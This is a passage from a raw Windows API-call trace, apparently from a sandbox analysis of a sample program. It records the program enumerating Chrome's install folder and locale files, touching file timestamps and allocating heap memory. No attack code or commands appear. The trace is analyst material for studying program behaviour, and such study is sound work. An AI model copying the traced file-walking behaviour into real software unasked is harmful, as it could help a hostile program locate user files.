lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8388e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c8388e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81d5b9a8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0xad7d02b, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.7z", cAlternateFileName="")) returned 1 [0087.812] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0087.812] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7aa51480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 0 [0087.813] GetLastError () returned 0x12 [0087.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307e58) returned 1 [0087.813] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307f60) returned 1 [0087.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76be28f2, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x18958, dwReserved0=0x0, dwReserved1=0x0, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0087.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7deaf880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7deaf880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x76f4ff08, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x397d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="libglesv2.dll", cAlternateFileName="")) returned 1 [0087.813] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locales", cAlternateFileName="")) returned 1 [0087.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.814] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0087.814] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a9a0 [0087.814] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a9a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a9a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a9a0) returned 1 [0087.815] NtClose (Handle=0x15c) returned 0x0 [0087.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307f60 [0087.816] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0087.820] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.821] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeae1a98, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0087.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc228 [0087.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13087a0 [0087.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.823] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb0b2b9, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6df65, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0087.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc248 [0087.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13088a8 [0087.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.825] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb34ada, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x84ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0087.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc268 [0087.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13089b0 [0087.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.826] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb6582e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa9727, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0087.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc288 [0087.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308ab8 [0087.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.828] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb91760, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5082b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0087.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc2a8 [0087.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308bc0 [0087.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.829] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebbaf81, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51809, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0087.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc2c8 [0087.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308cc8 [0087.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.831] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebdf980, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x494f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0087.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc2e8 [0087.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308dd0 [0087.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.833] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec06a90, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x463fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0087.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc308 [0087.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308ed8 [0087.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.834] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec329c2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x8f814, dwReserved0=0x0, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0087.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc328 [0087.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1308fe0 [0087.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.836] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec63716, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4244f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0087.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc348 [0087.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13090e8 [0087.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.838] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec796af, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42442, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0087.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc368 [0087.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13091f0 [0087.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.839] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec9928c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4fca5, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0087.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc388 [0087.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13092f8 [0087.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.841] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecc51be, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x512b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0087.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc3a8 [0087.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1309400 [0087.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.842] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecf10f0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x469ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0087.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc3c8 [0087.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1309508 [0087.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8340) returned 0x12ea380 [0087.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.844] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed1f733, 